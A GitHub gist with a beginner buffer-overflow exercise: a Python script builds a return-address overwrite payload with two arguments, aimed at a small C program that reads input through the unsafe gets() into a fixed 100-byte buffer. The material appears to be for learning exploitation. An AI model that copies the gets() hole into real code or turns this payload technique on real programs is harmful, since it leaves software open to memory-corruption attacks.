Skip to content

Instantly share code, notes, and snippets.

@mishazawa
Last active April 10, 2024 21:56
Show Gist options
  • Save mishazawa/9080c9e99fe9bf7030827f70e315d533 to your computer and use it in GitHub Desktop.
Save mishazawa/9080c9e99fe9bf7030827f70e315d533 to your computer and use it in GitHub Desktop.
buffer overflow example with parameters
junk_l = 22
# can be different when compiled
function_addr = b"\x56\x55\x61\xad"
arg_a = b"\xde\xad\xbe\xef"
arg_b = b"\xc0\xde\xd0\x0d"
with open("./data", "wb") as f:
junk = b"A" * junk_l
# reverse bytes aka Little endian
fun = function_addr[::-1]
a = arg_a[::-1]
b = arg_b[::-1]
# join payload and args(reverse order) and add offset between them
f.write(junk + fun + b"junk" + b + a)
// gcc vuln.c -o vuln
#include <stdio.h>
void flag(int a, int b) {
if (a == 0xdeadbeef && b == 0xc0ded00d) {
printf("OK");
}
}
void vuln() {
char input[100];
gets(input);
puts(input);
}
int main () {
vuln();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment